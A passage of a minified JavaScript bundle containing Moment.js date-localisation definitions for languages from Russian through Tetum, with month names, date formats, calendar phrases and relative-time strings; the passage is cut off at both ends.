?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:a,longMonthsParse:a,shortMonthsParse:a,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:n,m:n,mm:n,h:"час",hh:n,d:"день",dd:n,w:"неделя",ww:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}(n(30381))},40950:function(e,t,n){!function(e){"use strict";var t=["جنوري","فيبروري","مارچ","اپريل","مئي","جون","جولاءِ","آگسٽ","سيپٽمبر","آڪٽوبر","نومبر","ڊسمبر"],n=["آچر","سومر","اڱارو","اربع","خميس","جمع","ڇنڇر"];e.defineLocale("sd",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,n){return e<12?"صبح":"شام"},calendar:{sameDay:"[اڄ] LT",nextDay:"[سڀاڻي] LT",nextWeek:"dddd [اڳين هفتي تي] LT",lastDay:"[ڪالهه] LT",lastWeek:"[گزريل هفتي] dddd [تي] LT",sameElse:"L"},relativeTime:{future:"%s پوء",past:"%s اڳ",s:"چند سيڪنڊ",ss:"%d سيڪنڊ",m:"هڪ منٽ",mm:"%d منٽ",h:"هڪ ڪلاڪ",hh:"%d ڪلاڪ",d:"هڪ ڏينهن",dd:"%d ڏينهن",M:"هڪ مهينو",MM:"%d مهينا",y:"هڪ سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(n(30381))},10490:function(e,t,n){!function(e){"use strict";e.defineLocale("se",{months:"ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"),monthsShort:"ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"),weekdays:"sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"),weekdaysShort:"sotn_vuos_maŋ_gask_duor_bear_láv".split("_"),weekdaysMin:"s_v_m_g_d_b_L".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"MMMM D. [b.] YYYY",LLL:"MMMM D. [b.] YYYY [ti.] HH:mm",LLLL:"dddd, MMMM D. [b.] YYYY [ti.] HH:mm"},calendar:{sameDay:"[otne ti] LT",nextDay:"[ihttin ti] LT",nextWeek:"dddd [ti] LT",lastDay:"[ikte ti] LT",lastWeek:"[ovddit] dddd [ti] LT",sameElse:"L"},relativeTime:{future:"%s geažes",past:"maŋit %s",s:"moadde sekunddat",ss:"%d sekunddat",m:"okta minuhta",mm:"%d minuhtat",h:"okta diimmu",hh:"%d diimmut",d:"okta beaivi",dd:"%d beaivvit",M:"okta mánnu",MM:"%d mánut",y:"okta jahki",yy:"%d jagit"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},90124:function(e,t,n){!function(e){"use strict";e.defineLocale("si",{months:"ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"),monthsShort:"ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"),weekdays:"ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"),weekdaysShort:"ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"),weekdaysMin:"ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"a h:mm",LTS:"a h:mm:ss",L:"YYYY/MM/DD",LL:"YYYY MMMM D",LLL:"YYYY MMMM D, a h:mm",LLLL:"YYYY MMMM D [වැනි] dddd, a h:mm:ss"},calendar:{sameDay:"[අද] LT[ට]",nextDay:"[හෙට] LT[ට]",nextWeek:"dddd LT[ට]",lastDay:"[ඊයේ] LT[ට]",lastWeek:"[පසුගිය] dddd LT[ට]",sameElse:"L"},relativeTime:{future:"%sකින්",past:"%sකට පෙර",s:"තත්පර කිහිපය",ss:"තත්පර %d",m:"මිනිත්තුව",mm:"මිනිත්තු %d",h:"පැය",hh:"පැය %d",d:"දිනය",dd:"දින %d",M:"මාසය",MM:"මාස %d",y:"වසර",yy:"වසර %d"},dayOfMonthOrdinalParse:/\d{1,2} වැනි/,ordinal:function(e){return e+" වැනි"},meridiemParse:/පෙර වරු|පස් වරු|පෙ.ව|ප.ව./,isPM:function(e){return"ප.ව."===e||"පස් වරු"===e},meridiem:function(e,t,n){return e>11?n?"ප.ව.":"පස් වරු":n?"පෙ.ව.":"පෙර වරු"}})}(n(30381))},64249:function(e,t,n){!function(e){"use strict";var t="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),n="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");function a(e){return e>1&&e<5}function i(e,t,n,i){var r=e+" ";switch(n){case"s":return t||i?"pár sekúnd":"pár sekundami";case"ss":return t||i?r+(a(e)?"sekundy":"sekúnd"):r+"sekundami";case"m":return t?"minúta":i?"minútu":"minútou";case"mm":return t||i?r+(a(e)?"minúty":"minút"):r+"minútami";case"h":return t?"hodina":i?"hodinu":"hodinou";case"hh":return t||i?r+(a(e)?"hodiny":"hodín"):r+"hodinami";case"d":return t||i?"deň":"dňom";case"dd":return t||i?r+(a(e)?"dni":"dní"):r+"dňami";case"M":return t||i?"mesiac":"mesiacom";case"MM":return t||i?r+(a(e)?"mesiace":"mesiacov"):r+"mesiacmi";case"y":return t||i?"rok":"rokom";case"yy":return t||i?r+(a(e)?"roky":"rokov"):r+"rokmi"}}e.defineLocale("sk",{months:t,monthsShort:n,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 4:case 5:return"[minulý] dddd [o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:i,ss:i,m:i,mm:i,h:i,hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},14985:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i=e+" ";switch(n){case"s":return t||a?"nekaj sekund":"nekaj sekundami";case"ss":return i+=1===e?t?"sekundo":"sekundi":2===e?t||a?"sekundi":"sekundah":e<5?t||a?"sekunde":"sekundah":"sekund";case"m":return t?"ena minuta":"eno minuto";case"mm":return i+=1===e?t?"minuta":"minuto":2===e?t||a?"minuti":"minutama":e<5?t||a?"minute":"minutami":t||a?"minut":"minutami";case"h":return t?"ena ura":"eno uro";case"hh":return i+=1===e?t?"ura":"uro":2===e?t||a?"uri":"urama":e<5?t||a?"ure":"urami":t||a?"ur":"urami";case"d":return t||a?"en dan":"enim dnem";case"dd":return i+=1===e?t||a?"dan":"dnem":2===e?t||a?"dni":"dnevoma":t||a?"dni":"dnevi";case"M":return t||a?"en mesec":"enim mesecem";case"MM":return i+=1===e?t||a?"mesec":"mesecem":2===e?t||a?"meseca":"mesecema":e<5?t||a?"mesece":"meseci":t||a?"mesecev":"meseci";case"y":return t||a?"eno leto":"enim letom";case"yy":return i+=1===e?t||a?"leto":"letom":2===e?t||a?"leti":"letoma":e<5?t||a?"leta":"leti":t||a?"let":"leti"}}e.defineLocale("sl",{months:"januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"),weekdaysShort:"ned._pon._tor._sre._čet._pet._sob.".split("_"),weekdaysMin:"ne_po_to_sr_če_pe_so".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD. MM. YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danes ob] LT",nextDay:"[jutri ob] LT",nextWeek:function(){switch(this.day()){case 0:return"[v] [nedeljo] [ob] LT";case 3:return"[v] [sredo] [ob] LT";case 6:return"[v] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[v] dddd [ob] LT"}},lastDay:"[včeraj ob] LT",lastWeek:function(){switch(this.day()){case 0:return"[prejšnjo] [nedeljo] [ob] LT";case 3:return"[prejšnjo] [sredo] [ob] LT";case 6:return"[prejšnjo] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[prejšnji] dddd [ob] LT"}},sameElse:"L"},relativeTime:{future:"čez %s",past:"pred %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},51104:function(e,t,n){!function(e){"use strict";e.defineLocale("sq",{months:"Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"),monthsShort:"Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"),weekdays:"E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"),weekdaysShort:"Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"),weekdaysMin:"D_H_Ma_Më_E_P_Sh".split("_"),weekdaysParseExact:!0,meridiemParse:/PD|MD/,isPM:function(e){return"M"===e.charAt(0)},meridiem:function(e,t,n){return e<12?"PD":"MD"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Sot në] LT",nextDay:"[Nesër në] LT",nextWeek:"dddd [në] LT",lastDay:"[Dje në] LT",lastWeek:"dddd [e kaluar në] LT",sameElse:"L"},relativeTime:{future:"në %s",past:"%s më parë",s:"disa sekonda",ss:"%d sekonda",m:"një minutë",mm:"%d minuta",h:"një orë",hh:"%d orë",d:"një ditë",dd:"%d ditë",M:"një muaj",MM:"%d muaj",y:"një vit",yy:"%d vite"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},79915:function(e,t,n){!function(e){"use strict";var t={words:{ss:["секунда","секунде","секунди"],m:["један минут","једне минуте"],mm:["минут","минуте","минута"],h:["један сат","једног сата"],hh:["сат","сата","сати"],dd:["дан","дана","дана"],MM:["месец","месеца","месеци"],yy:["година","године","година"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,a){var i=t.words[a];return 1===a.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr-cyrl",{months:"јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"),monthsShort:"јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"),monthsParseExact:!0,weekdays:"недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"),weekdaysShort:"нед._пон._уто._сре._чет._пет._суб.".split("_"),weekdaysMin:"не_по_ут_ср_че_пе_су".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[данас у] LT",nextDay:"[сутра у] LT",nextWeek:function(){switch(this.day()){case 0:return"[у] [недељу] [у] LT";case 3:return"[у] [среду] [у] LT";case 6:return"[у] [суботу] [у] LT";case 1:case 2:case 4:case 5:return"[у] dddd [у] LT"}},lastDay:"[јуче у] LT",lastWeek:function(){return["[прошле] [недеље] [у] LT","[прошлог] [понедељка] [у] LT","[прошлог] [уторка] [у] LT","[прошле] [среде] [у] LT","[прошлог] [четвртка] [у] LT","[прошлог] [петка] [у] LT","[прошле] [суботе] [у] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"за %s",past:"пре %s",s:"неколико секунди",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"дан",dd:t.translate,M:"месец",MM:t.translate,y:"годину",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},49131:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekunda","sekunde","sekundi"],m:["jedan minut","jedne minute"],mm:["minut","minute","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mesec","meseca","meseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,a){var i=t.words[a];return 1===a.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sre._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedelju] [u] LT";case 3:return"[u] [sredu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedelje] [u] LT","[prošlog] [ponedeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"pre %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},85893:function(e,t,n){!function(e){"use strict";e.defineLocale("ss",{months:"Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"),monthsShort:"Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"),weekdays:"Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"),weekdaysShort:"Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"),weekdaysMin:"Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Namuhla nga] LT",nextDay:"[Kusasa nga] LT",nextWeek:"dddd [nga] LT",lastDay:"[Itolo nga] LT",lastWeek:"dddd [leliphelile] [nga] LT",sameElse:"L"},relativeTime:{future:"nga %s",past:"wenteka nga %s",s:"emizuzwana lomcane",ss:"%d mzuzwana",m:"umzuzu",mm:"%d emizuzu",h:"lihora",hh:"%d emahora",d:"lilanga",dd:"%d emalanga",M:"inyanga",MM:"%d tinyanga",y:"umnyaka",yy:"%d iminyaka"},meridiemParse:/ekuseni|emini|entsambama|ebusuku/,meridiem:function(e,t,n){return e<11?"ekuseni":e<15?"emini":e<19?"entsambama":"ebusuku"},meridiemHour:function(e,t){return 12===e&&(e=0),"ekuseni"===t?e:"emini"===t?e>=11?e:e+12:"entsambama"===t||"ebusuku"===t?0===e?0:e+12:void 0},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:"%d",week:{dow:1,doy:4}})}(n(30381))},98760:function(e,t,n){!function(e){"use strict";e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}(n(30381))},91172:function(e,t,n){!function(e){"use strict";e.defineLocale("sw",{months:"Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"),weekdays:"Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"),weekdaysShort:"Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"),weekdaysMin:"J2_J3_J4_J5_Al_Ij_J1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"hh:mm A",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[leo saa] LT",nextDay:"[kesho saa] LT",nextWeek:"[wiki ijayo] dddd [saat] LT",lastDay:"[jana] LT",lastWeek:"[wiki iliyopita] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s baadaye",past:"tokea %s",s:"hivi punde",ss:"sekunde %d",m:"dakika moja",mm:"dakika %d",h:"saa limoja",hh:"masaa %d",d:"siku moja",dd:"siku %d",M:"mwezi mmoja",MM:"miezi %d",y:"mwaka mmoja",yy:"miaka %d"},week:{dow:1,doy:7}})}(n(30381))},27333:function(e,t,n){!function(e){"use strict";var t={1:"௧",2:"௨",3:"௩",4:"௪",5:"௫",6:"௬",7:"௭",8:"௮",9:"௯",0:"௦"},n={"௧":"1","௨":"2","௩":"3","௪":"4","௫":"5","௬":"6","௭":"7","௮":"8","௯":"9","௦":"0"};e.defineLocale("ta",{months:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),monthsShort:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),weekdays:"ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"),weekdaysShort:"ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"),weekdaysMin:"ஞா_தி_செ_பு_வி_வெ_ச".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, HH:mm",LLLL:"dddd, D MMMM YYYY, HH:mm"},calendar:{sameDay:"[இன்று] LT",nextDay:"[நாளை] LT",nextWeek:"dddd, LT",lastDay:"[நேற்று] LT",lastWeek:"[கடந்த வாரம்] dddd, LT",sameElse:"L"},relativeTime:{future:"%s இல்",past:"%s முன்",s:"ஒரு சில விநாடிகள்",ss:"%d விநாடிகள்",m:"ஒரு நிமிடம்",mm:"%d நிமிடங்கள்",h:"ஒரு மணி நேரம்",hh:"%d மணி நேரம்",d:"ஒரு நாள்",dd:"%d நாட்கள்",M:"ஒரு மாதம்",MM:"%d மாதங்கள்",y:"ஒரு வருடம்",yy:"%d ஆண்டுகள்"},dayOfMonthOrdinalParse:/\d{1,2}வது/,ordinal:function(e){return e+"வது"},preparse:function(e){return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/,meridiem:function(e,t,n){return e<2?" யாமம்":e<6?" வைகறை":e<10?" காலை":e<14?" நண்பகல்":e<18?" எற்பாடு":e<22?" மாலை":" யாமம்"},meridiemHour:function(e,t){return 12===e&&(e=0),"யாமம்"===t?e<2?e:e+12:"வைகறை"===t||"காலை"===t||"நண்பகல்"===t&&e>=10?e:e+12},week:{dow:0,doy:6}})}(n(30381))},23110:function(e,t,n){!function(e){"use strict";e.defineLocale("te",{months:"జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"),monthsShort:"జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"),monthsParseExact:!0,weekdays:"ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"),weekdaysShort:"ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"),weekdaysMin:"ఆ_సో_మం_బు_గు_శు_శ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[నేడు] LT",nextDay:"[రేపు] LT",nextWeek:"dddd, LT",lastDay:"[నిన్న] LT",lastWeek:"[గత] dddd, LT",sameElse:"L"},relativeTime:{future:"%s లో",past:"%s క్రితం",s:"కొన్ని క్షణాలు",ss:"%d సెకన్లు",m:"ఒక నిమిషం",mm:"%d నిమిషాలు",h:"ఒక గంట",hh:"%d గంటలు",d:"ఒక రోజు",dd:"%d రోజులు",M:"ఒక నెల",MM:"%d నెలలు",y:"ఒక సంవత్సరం",yy:"%d సంవత్సరాలు"},dayOfMonthOrdinalParse:/\d{1,2}వ/,ordinal:"%dవ",meridiemParse:/రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/,meridiemHour:function(e,t){return 12===e&&(e=0),"రాత్రి"===t?e<4?e:e+12:"ఉదయం"===t?e:"మధ్యాహ్నం"===t?e>=10?e:e+12:"సాయంత్రం"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"రాత్రి":e<10?"ఉదయం":e<17?"మధ్యాహ్నం":e<20?"సాయంత్రం":"రాత్రి"},week:{dow:0,doy:6}})}(n(30381))},52095:function(e,t,n){!function(e){"use strict";e.defineLocale("tet",{months:"Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"),monthsShort:"Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"),weekdays:"Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"),weekdaysShort:"Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"),weekdaysMin:"Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Ohin iha] LT",nextDay:"[Aban iha] LT",nextWeek:"dddd [iha] LT",lastDay:"[Horiseik iha] LT",lastWeek:"dddd [semana kotuk] [iha] LT",sameElse:"L"},relativeTime:{future:"iha %s",past:"%s liuba",s:"segundu balun",ss:"segundu %d",m:"minutu ida",mm:"minutu %d",h:"oras ida",hh:"oras %d",d:"loron ida",dd:"loron %d",M:"fulan ida",MM:"fulan %d",y:"tinan ida",yy:"tinan %d"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(30381))},27321:function(e,t,n){!function(e){"use strict";var 